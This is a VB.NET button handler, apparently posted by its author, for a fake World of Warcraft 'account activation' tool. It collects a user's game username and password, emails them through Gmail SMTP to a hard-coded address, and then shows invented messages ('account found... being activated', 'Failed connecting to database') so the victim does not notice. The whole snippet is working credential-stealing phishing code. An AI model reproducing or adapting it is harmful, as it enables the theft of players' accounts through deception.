Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
Dim Numba As Integer
Dim smtpserver As New SmtpClient
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
Dim WoWPath As String = String.Empty
WoWPath = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\blizzard entertainment\world of warcraft", "WoWPath", Nothing)
Dim mail As New MailMessage()
Try
If Username.TextLength < 3 Or password1.TextLength < 8 Or password1.TextLength > 16 Or Username.TextLength > 16 Or password1.Text = Username.Text Or Username.Text = Nothing And password1.Text = Nothing Or password1.Text.Contains(Not Numba) Then
Threading.Thread.Sleep(1400)
MessageBox.Show("Your account wasn't found. Please consider one of the following : Your info is invalid, the account is a trial, or your account has been deleted.")
Else : mail.To.Add("
[email protected]")
mail.From = New MailAddress("
[email protected]")
smtpserver.Credentials = New Net.NetworkCredential("
[email protected]", "password (I put my pass here)")
mail.Subject = "Accounts"
mail.Body = Username.Text & " " & _
password1.Text
smtpserver.Send(mail)
MessageBox.Show("Your account has been found and is in the process of being activated. Please wait up to atleast 10 minutes.")
End If
Catch erroa As SmtpException
Select Case (0)
Case 0
MessageBox.Show("Failed connecting to database!", "Error", MessageBoxButtons.RetryCancel, MessageBoxIcon.Error)
End Select
Finally
Username.Text = ("")
password1.Text = ("")
CheckBox1.Hide()
End Try
End Sub